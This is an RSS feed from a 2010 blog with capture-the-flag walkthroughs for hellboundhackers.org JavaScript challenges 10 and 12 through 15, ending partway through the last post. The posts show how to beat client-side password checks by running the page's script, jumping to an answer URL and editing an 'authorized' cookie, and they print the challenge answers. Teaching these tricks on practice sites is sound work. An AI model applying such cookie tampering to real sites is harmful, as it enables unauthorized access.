<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Axino.net &#187; Programming</title>
	<atom:link href="http://www.axino.net/category/programming/feed" rel="self" type="application/rss+xml" />
	<link>http://www.axino.net</link>
	<description>The other side of atom.</description>
	<lastBuildDate>Thu, 15 Jul 2010 12:45:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>JavaScript Challenge 15 :: nag a ram</title>
		<link>http://www.axino.net/tutorial/2010/07/javascript-challenge-15-nag-a-ram</link>
		<comments>http://www.axino.net/tutorial/2010/07/javascript-challenge-15-nag-a-ram#comments</comments>
		<pubDate>Sun, 04 Jul 2010 01:10:22 +0000</pubDate>
		<dc:creator>Arxleol</dc:creator>
				<category><![CDATA[hellboundhackers.org]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[solution]]></category>

		<guid isPermaLink="false">http://www.axino.net/?p=1052</guid>
		<description><![CDATA[This mission is interesting and a bit harder to solve, because we need to actually solve it and cannot use some simple way of outputting finished password. Javascript actually generates password from riddle or even better anagram. // Written by SlimTim10 // Hint: The answer may be more than one word and may contain spaces. [...]]]></description>
			<content:encoded><![CDATA[<p>This mission is interesting and a bit harder to solve, because we need to actually solve it and cannot use some simple way of outputting finished password.</p>
<p><span id="more-1052"></span></p>
<p>Javascript actually generates password from riddle or even better anagram.<br />
<code> </code></p>
<p><code></p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">// Written by SlimTim10</span>
<span style="color: #006600; font-style: italic;">// Hint: The answer may be more than one word and may contain spaces.</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> checkpassword<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
&nbsp;
	password <span style="color: #339933;">=</span> document.<span style="color: #660066;">password</span>.<span style="color: #660066;">password</span>.<span style="color: #660066;">value</span><span style="color: #339933;">;</span>
	<span style="color: #003366; font-weight: bold;">var</span> a <span style="color: #339933;">=</span> password.<span style="color: #660066;">charAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">9</span><span style="color: #009900;">&#41;</span>
	<span style="color: #003366; font-weight: bold;">var</span> c <span style="color: #339933;">=</span> password.<span style="color: #660066;">charAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">4</span><span style="color: #009900;">&#41;</span>
	<span style="color: #003366; font-weight: bold;">var</span> b <span style="color: #339933;">=</span> password.<span style="color: #660066;">charAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">10</span><span style="color: #009900;">&#41;</span>
	<span style="color: #003366; font-weight: bold;">var</span> d <span style="color: #339933;">=</span> password.<span style="color: #660066;">charAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">7</span><span style="color: #009900;">&#41;</span>
	<span style="color: #003366; font-weight: bold;">var</span> f <span style="color: #339933;">=</span> password.<span style="color: #660066;">charAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">6</span><span style="color: #009900;">&#41;</span>
	<span style="color: #003366; font-weight: bold;">var</span> e <span style="color: #339933;">=</span> password.<span style="color: #660066;">charAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#41;</span>
	<span style="color: #003366; font-weight: bold;">var</span> g <span style="color: #339933;">=</span> password.<span style="color: #660066;">charAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">3</span><span style="color: #009900;">&#41;</span>
	<span style="color: #003366; font-weight: bold;">var</span> i <span style="color: #339933;">=</span> password.<span style="color: #660066;">charAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span>
	<span style="color: #003366; font-weight: bold;">var</span> h <span style="color: #339933;">=</span> password.<span style="color: #660066;">charAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">8</span><span style="color: #009900;">&#41;</span>
	<span style="color: #003366; font-weight: bold;">var</span> j <span style="color: #339933;">=</span> password.<span style="color: #660066;">charAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">13</span><span style="color: #009900;">&#41;</span>
	<span style="color: #003366; font-weight: bold;">var</span> l <span style="color: #339933;">=</span> password.<span style="color: #660066;">charAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">5</span><span style="color: #009900;">&#41;</span>
	<span style="color: #003366; font-weight: bold;">var</span> k <span style="color: #339933;">=</span> password.<span style="color: #660066;">charAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">6</span><span style="color: #009900;">&#41;</span>
	<span style="color: #003366; font-weight: bold;">var</span> m <span style="color: #339933;">=</span> password.<span style="color: #660066;">charAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">11</span><span style="color: #009900;">&#41;</span>
	<span style="color: #003366; font-weight: bold;">var</span> o <span style="color: #339933;">=</span> password.<span style="color: #660066;">charAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">12</span><span style="color: #009900;">&#41;</span>
	<span style="color: #003366; font-weight: bold;">var</span> n <span style="color: #339933;">=</span> password.<span style="color: #660066;">charAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">2</span><span style="color: #009900;">&#41;</span>
	<span style="color: #003366; font-weight: bold;">var</span> riddle <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;query test mess&quot;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>a<span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">+</span>b<span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">+</span>c<span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">+</span>d<span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">+</span>e<span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">+</span>f<span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">+</span>g<span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">+</span>h<span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">+</span>i<span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">+</span>j<span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">+</span>k<span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">+</span>l<span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">+</span>m<span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">+</span>n<span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">+</span>o<span style="color: #339933;">==</span>riddle<span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;Congratulations!&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #000066; font-weight: bold;">else</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;Wrong, but keep at it!&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #009900;">&#125;</span></pre></div></div>

<p></code></p>
<p>To solve it I used piece of paper. First I draw 14 boxes starting with zero till 13. Next step is to copy anagram: <strong>query test mess</strong>. And write below each letter, letters from <strong>a </strong> to <strong>o</strong>.</p>
<p>Now you need to fill boxes with letters let&#8217;s solve it for letter <strong>a</strong>.</p>
<p>Over letter A is letter Q and now we check javascript code: var a = password.charAt(9) so letter a should be in box 9 so fill the box 9 with <strong>q</strong>.</p>
<p>Simple or not. Here is interesting and surprising final answer: <strong>system request</strong><strong>Similar Posts:</strong>
<ul class="similar-posts">
<li><a href="http://www.axino.net/hack/hackertestnet/2009/02/hackertestnet-level-10-false-clues-or-common-sens" rel="bookmark" title="Sunday 01.02.2009">hackertest.net level 10 :: False clues || common sens</a></li>
<li><a href="http://www.axino.net/tutorial/2010/05/hack-test-com-10-italic-text" rel="bookmark" title="Sunday 16.05.2010">hack-test.com 10 :: Italic text</a></li>
<li><a href="http://www.axino.net/tutorial/2010/06/javascript-challenge-12-execute" rel="bookmark" title="Tuesday 08.06.2010">JavaScript Challenge 12 :: execute</a></li>
<li><a href="http://www.axino.net/tutorial/2009/09/basic-web-hacking-1-simple-enter-pass" rel="bookmark" title="Tuesday 29.09.2009">Basic Web Hacking 1 :: Simple Enter Pass</a></li>
<li><a href="http://www.axino.net/tutorial/2009/11/basic-web-hacking-8-simple-sql" rel="bookmark" title="Monday 16.11.2009">Basic web hacking 8 :: simple SQL</a></li>
</ul>
<p><!-- Similar Posts took 4.838 ms --></p>
 <img src="http://www.axino.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=1052" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.axino.net/tutorial/2010/07/javascript-challenge-15-nag-a-ram/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>JavaScript Challenge 10 :: Math time</title>
		<link>http://www.axino.net/tutorial/2010/07/javascript-challenge-10-math-time</link>
		<comments>http://www.axino.net/tutorial/2010/07/javascript-challenge-10-math-time#comments</comments>
		<pubDate>Sat, 03 Jul 2010 16:16:20 +0000</pubDate>
		<dc:creator>Arxleol</dc:creator>
				<category><![CDATA[hellboundhackers.org]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[solution]]></category>

		<guid isPermaLink="false">http://www.axino.net/?p=1042</guid>
		<description><![CDATA[We will solve this challenge as we already used to solve some others. Simply by executing javascript in your browser and checking result. So very first step is to find javascript that will be executed when password is entered. //By system_meltdown function checkpass&#40;&#41; &#123; pass=document.password.pass.value; rawr=unescape&#40;'%61%68%6f%79'&#41;; string=&#34;llama llama duck!&#34;; a=string.charCodeAt&#40;1&#41;; b=string.charCodeAt&#40;7&#41;; c=string.charCodeAt&#40;4&#41;; schloob=&#40;&#40;60*50/3*a&#41;-&#40;b*c&#41;&#41;/2/5+b; asdf=rawr+&#34;_&#34;+schloob; if&#40;pass==asdf&#41; &#123; alert&#40;'Wahoo [...]]]></description>
			<content:encoded><![CDATA[<p>We will solve this challenge as we already used to solve some others. Simply by executing javascript in your browser and checking result.</p>
<p><span id="more-1042"></span><br id="__mce" /></p>
<p>So very first step is to find javascript that will be executed when password is entered.</p>
<p><code> </code></p>
<p><code></p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"> <span style="color: #006600; font-style: italic;">//By system_meltdown</span>
 <span style="color: #003366; font-weight: bold;">function</span> checkpass<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
 <span style="color: #009900;">&#123;</span>
 pass<span style="color: #339933;">=</span>document.<span style="color: #660066;">password</span>.<span style="color: #660066;">pass</span>.<span style="color: #660066;">value</span><span style="color: #339933;">;</span>
 rawr<span style="color: #339933;">=</span>unescape<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'%61%68%6f%79'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
 string<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;llama llama duck!&quot;</span><span style="color: #339933;">;</span>
 a<span style="color: #339933;">=</span>string.<span style="color: #660066;">charCodeAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
 b<span style="color: #339933;">=</span>string.<span style="color: #660066;">charCodeAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">7</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
 c<span style="color: #339933;">=</span>string.<span style="color: #660066;">charCodeAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">4</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
 schloob<span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">60</span><span style="color: #339933;">*</span><span style="color: #CC0000;">50</span><span style="color: #339933;">/</span><span style="color: #CC0000;">3</span><span style="color: #339933;">*</span>a<span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #009900;">&#40;</span>b<span style="color: #339933;">*</span>c<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color: #CC0000;">2</span><span style="color: #339933;">/</span><span style="color: #CC0000;">5</span><span style="color: #339933;">+</span>b<span style="color: #339933;">;</span>
 asdf<span style="color: #339933;">=</span>rawr<span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;_&quot;</span><span style="color: #339933;">+</span>schloob<span style="color: #339933;">;</span>
 <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>pass<span style="color: #339933;">==</span>asdf<span style="color: #009900;">&#41;</span>
 <span style="color: #009900;">&#123;</span>
 <span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'Wahoo you got it!'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
 <span style="color: #009900;">&#125;</span>
 <span style="color: #000066; font-weight: bold;">else</span>
 <span style="color: #009900;">&#123;</span>
 <span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'Awww shame!'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
 <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p></code></p>
<p>Now for executing we will take just the important part of code:</p>
<p><code> </code></p>
<p><code></p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">rawr<span style="color: #339933;">=</span>unescape<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'%61%68%6f%79'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
 string<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;llama llama duck!&quot;</span><span style="color: #339933;">;</span>
 a<span style="color: #339933;">=</span>string.<span style="color: #660066;">charCodeAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
 b<span style="color: #339933;">=</span>string.<span style="color: #660066;">charCodeAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">7</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
 c<span style="color: #339933;">=</span>string.<span style="color: #660066;">charCodeAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">4</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
 schloob<span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">60</span><span style="color: #339933;">*</span><span style="color: #CC0000;">50</span><span style="color: #339933;">/</span><span style="color: #CC0000;">3</span><span style="color: #339933;">*</span>a<span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #009900;">&#40;</span>b<span style="color: #339933;">*</span>c<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color: #CC0000;">2</span><span style="color: #339933;">/</span><span style="color: #CC0000;">5</span><span style="color: #339933;">+</span>b<span style="color: #339933;">;</span>
 asdf<span style="color: #339933;">=</span>rawr<span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;_&quot;</span><span style="color: #339933;">+</span>schloob<span style="color: #339933;">;</span></pre></div></div>

<p></code></p>
<p>Executing script in your browser is easy. Just open new tab and in the URL bar enter following javascript code. Notice that I am alerting value of <strong>asdf </strong>variable.</p>
<p><code> </code></p>
<p><code></p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">javascript<span style="color: #339933;">:</span>rawr<span style="color: #339933;">=</span>unescape<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'%61%68%6f%79'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>string<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;llama llama duck!&quot;</span><span style="color: #339933;">;</span>a<span style="color: #339933;">=</span>string.<span style="color: #660066;">charCodeAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>b<span style="color: #339933;">=</span>string.<span style="color: #660066;">charCodeAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">7</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>c<span style="color: #339933;">=</span>string.<span style="color: #660066;">charCodeAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">4</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>schloob<span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">60</span><span style="color: #339933;">*</span><span style="color: #CC0000;">50</span><span style="color: #339933;">/</span><span style="color: #CC0000;">3</span><span style="color: #339933;">*</span>a<span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #009900;">&#40;</span>b<span style="color: #339933;">*</span>c<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color: #CC0000;">2</span><span style="color: #339933;">/</span><span style="color: #CC0000;">5</span><span style="color: #339933;">+</span>b<span style="color: #339933;">;</span>asdf<span style="color: #339933;">=</span>rawr<span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;_&quot;</span><span style="color: #339933;">+</span>schloob<span style="color: #339933;">;</span> <span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span>asdf<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p></code></p>
<p>Now you should receive this password as result.</p>
<blockquote><p>ahoy_9860.4</p></blockquote>
<p><strong>Similar Posts:</strong>
<ul class="similar-posts">
<li><a href="http://www.axino.net/tutorial/2010/06/javascript-challenge-11-js-injection" rel="bookmark" title="Sunday 06.06.2010">JavaScript Challenge 11 :: js injection</a></li>
<li><a href="http://www.axino.net/tutorial/2010/06/javascript-challenge-12-execute" rel="bookmark" title="Tuesday 08.06.2010">JavaScript Challenge 12 :: execute</a></li>
<li><a href="http://www.axino.net/hack/hack-this-site/2010/05/javascript-missions-6-go-go-away-js" rel="bookmark" title="Thursday 20.05.2010">Javascript Missions 6 :: go go away .js</a></li>
<li><a href="http://www.axino.net/hack/hackertestnet/2009/01/hackertestnet-level-6-linking-javascript" rel="bookmark" title="Thursday 15.01.2009">hackertest.net level 6 :: Linking javascript</a></li>
<li><a href="http://www.axino.net/tutorial/2010/05/javascript-missions-5-escape" rel="bookmark" title="Wednesday 19.05.2010">Javascript Missions 5 :: Escape!</a></li>
</ul>
<p><!-- Similar Posts took 5.027 ms --></p>
 <img src="http://www.axino.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=1042" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.axino.net/tutorial/2010/07/javascript-challenge-10-math-time/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>JavaScript Challenge 14 :: Simple answer</title>
		<link>http://www.axino.net/tutorial/2010/06/javascript-challenge-14-simple-answer</link>
		<comments>http://www.axino.net/tutorial/2010/06/javascript-challenge-14-simple-answer#comments</comments>
		<pubDate>Thu, 10 Jun 2010 21:44:40 +0000</pubDate>
		<dc:creator>Arxleol</dc:creator>
				<category><![CDATA[hellboundhackers.org]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[solution]]></category>

		<guid isPermaLink="false">http://www.axino.net/?p=1032</guid>
		<description><![CDATA[Sometimes the simplest answer is the correct one. Obvious when you examine this challenge you will find following javascript: a = screen.width; if&#40;a != 800&#41; &#123; alert&#40;'Sorry you do not have the right parameters!'&#41;; &#125;else&#123; window.location='/challenges/js/js14/index.php?ans=1e799d6ab6736c258580e7bc9feebacb' &#125; Now you probably notice that you should have screen resolution of width 800 pixels. However, if you check [...]]]></description>
			<content:encoded><![CDATA[<p>Sometimes the simplest answer is the correct one. Obvious when you examine this challenge you will find following javascript:</p>
<p><span id="more-1032"></span><br />
<code></p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">a <span style="color: #339933;">=</span> screen.<span style="color: #660066;">width</span><span style="color: #339933;">;</span>
<span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>a <span style="color: #339933;">!=</span> <span style="color: #CC0000;">800</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
 <span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'Sorry you do not have the right parameters!'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #000066; font-weight: bold;">else</span><span style="color: #009900;">&#123;</span>
 window.<span style="color: #660066;">location</span><span style="color: #339933;">=</span><span style="color: #3366CC;">'/challenges/js/js14/index.php?ans=1e799d6ab6736c258580e7bc9feebacb'</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p></code></p>
<p>Now you probably notice that you should have screen resolution of width 800 pixels. However, if you check else statement you will find new location and if you use it you will solve this challange.</p>
<p>So jump to this URL: <strong>index.php?ans=1e799d6ab6736c258580e7bc9feebacb</strong><strong>Similar Posts:</strong>
<ul class="similar-posts">
<li><a href="http://www.axino.net/tutorial/2009/11/basic-web-hacking-12-include-me-in" rel="bookmark" title="Saturday 21.11.2009">Basic web hacking 12 :: include me in</a></li>
<li><a href="http://www.axino.net/tutorial/2010/05/javascript-challenge-7-jump-over" rel="bookmark" title="Sunday 30.05.2010">JavaScript Challenge 7 :: Jump over</a></li>
<li><a href="http://www.axino.net/hack/hackertestnet/2009/01/hackertestnet-level-5-save-as" rel="bookmark" title="Wednesday 14.01.2009">hackertest.net level 5 :: Save As&#8230;</a></li>
<li><a href="http://www.axino.net/tutorial/2009/12/hackthissite-org-extbasic-2-extension-blocking" rel="bookmark" title="Friday 25.12.2009">hackthissite.org extbasic 2 :: Extension blocking</a></li>
<li><a href="http://www.axino.net/tutorial/2010/01/javascript-challenge-1-function-understanding" rel="bookmark" title="Wednesday 27.01.2010">JavaScript Challenge 1 :: Function understanding</a></li>
</ul>
<p><!-- Similar Posts took 4.744 ms --></p>
 <img src="http://www.axino.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=1032" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.axino.net/tutorial/2010/06/javascript-challenge-14-simple-answer/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>JavaScript Challenge 13 :: Cookie</title>
		<link>http://www.axino.net/tutorial/2010/06/javascript-challenge-13-cookie</link>
		<comments>http://www.axino.net/tutorial/2010/06/javascript-challenge-13-cookie#comments</comments>
		<pubDate>Tue, 08 Jun 2010 22:28:17 +0000</pubDate>
		<dc:creator>Arxleol</dc:creator>
				<category><![CDATA[hellboundhackers.org]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[firebug]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[solution]]></category>

		<guid isPermaLink="false">http://www.axino.net/?p=1028</guid>
		<description><![CDATA[We will solve this challenge with Firebug. Open challenge page in Firefox, and start Firebug.  Now you probably see this sentence: You are not authorized to view this page! however, checking source code you will find that page is using cookie for authorization named authorized with value: false. So if you are already in Firebug just open [...]]]></description>
			<content:encoded><![CDATA[<p>We will solve this challenge with Firebug. Open challenge page in Firefox, and start Firebug.  Now you probably see this sentence:</p>
<blockquote><p>You are not authorized to view this page!</p></blockquote>
<p>however, checking source code you will find that page is using cookie for authorization named authorized with value: <strong>false</strong>.</p>
<p>So if you are already in Firebug just open <strong>Cookies tab</strong> find cookie named <strong>authorized </strong>right click on it and select edit. Now just change false into <strong>true</strong> and reload page.<strong>Similar Posts:</strong>
<ul class="similar-posts">
<li><a href="http://www.axino.net/hack/hack-this-site/2009/09/hackthissite-org-basic-10-my-cookie-your-cookie" rel="bookmark" title="Friday 25.09.2009">hackthissite.org basic 10 :: My cookie your cookie</a></li>
<li><a href="http://www.axino.net/tutorial/2009/11/basic-web-hacking-7-double-login" rel="bookmark" title="Tuesday 10.11.2009">Basic web hacking 7 :: double login</a></li>
<li><a href="http://www.axino.net/tutorial/2010/05/hackthissite-org-application-3-127-0-0-1" rel="bookmark" title="Thursday 27.05.2010">hackthissite.org Application 3 :: 127.0.0.1</a></li>
<li><a href="http://www.axino.net/tutorial/2010/06/javascript-challenge-9-timer" rel="bookmark" title="Wednesday 02.06.2010">JavaScript Challenge 9 :: timer</a></li>
<li><a href="http://www.axino.net/hack/hackertestnet/2009/01/hackertestnet-level-9-hidden-or-not" rel="bookmark" title="Wednesday 28.01.2009">hackertest.net level 9 :: Hidden or not</a></li>
</ul>
<p><!-- Similar Posts took 4.757 ms --></p>
 <img src="http://www.axino.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=1028" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.axino.net/tutorial/2010/06/javascript-challenge-13-cookie/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>JavaScript Challenge 12 :: execute</title>
		<link>http://www.axino.net/tutorial/2010/06/javascript-challenge-12-execute</link>
		<comments>http://www.axino.net/tutorial/2010/06/javascript-challenge-12-execute#comments</comments>
		<pubDate>Tue, 08 Jun 2010 21:53:50 +0000</pubDate>
		<dc:creator>Arxleol</dc:creator>
				<category><![CDATA[hellboundhackers.org]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hellboundhackers]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[solution]]></category>

		<guid isPermaLink="false">http://www.axino.net/?p=1023</guid>
		<description><![CDATA[I know, when you opened this challenge you probably though again some math problem. But this one can be solved very easily. Script that awaits you is long and it would be boring to analyze it. You already noticed that you cannot use javascript injection. function checkpass&#40;&#41; &#123; &#160; pass=document.password.pass.value; z=2; x=z*1.5; v=z*2; w=v*1.75; y=v*1.25; abc=&#40;&#40;&#40;y*v*y*x+z&#41;*x+w&#41;*z+y&#41;*v+w; &#160; [...]]]></description>
			<content:encoded><![CDATA[<p>I know, when you opened this challenge you probably though again some math problem. But this one can be solved very easily.</p>
<p><span id="more-1023"></span></p>
<p>Script that awaits you is long and it would be boring to analyze it. You already noticed that you cannot use javascript injection.<br />
<code> </code></p>
<p><code></p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">function</span> checkpass<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span> 
&nbsp;
 pass<span style="color: #339933;">=</span>document.<span style="color: #660066;">password</span>.<span style="color: #660066;">pass</span>.<span style="color: #660066;">value</span><span style="color: #339933;">;</span>
 z<span style="color: #339933;">=</span><span style="color: #CC0000;">2</span><span style="color: #339933;">;</span>
 x<span style="color: #339933;">=</span>z<span style="color: #339933;">*</span><span style="color: #CC0000;">1.5</span><span style="color: #339933;">;</span>
 v<span style="color: #339933;">=</span>z<span style="color: #339933;">*</span><span style="color: #CC0000;">2</span><span style="color: #339933;">;</span>
 w<span style="color: #339933;">=</span>v<span style="color: #339933;">*</span><span style="color: #CC0000;">1.75</span><span style="color: #339933;">;</span>
 y<span style="color: #339933;">=</span>v<span style="color: #339933;">*</span><span style="color: #CC0000;">1.25</span><span style="color: #339933;">;</span>
 abc<span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>y<span style="color: #339933;">*</span>v<span style="color: #339933;">*</span>y<span style="color: #339933;">*</span>x<span style="color: #339933;">+</span>z<span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span>x<span style="color: #339933;">+</span>w<span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span>z<span style="color: #339933;">+</span>y<span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span>v<span style="color: #339933;">+</span>w<span style="color: #339933;">;</span> 
&nbsp;
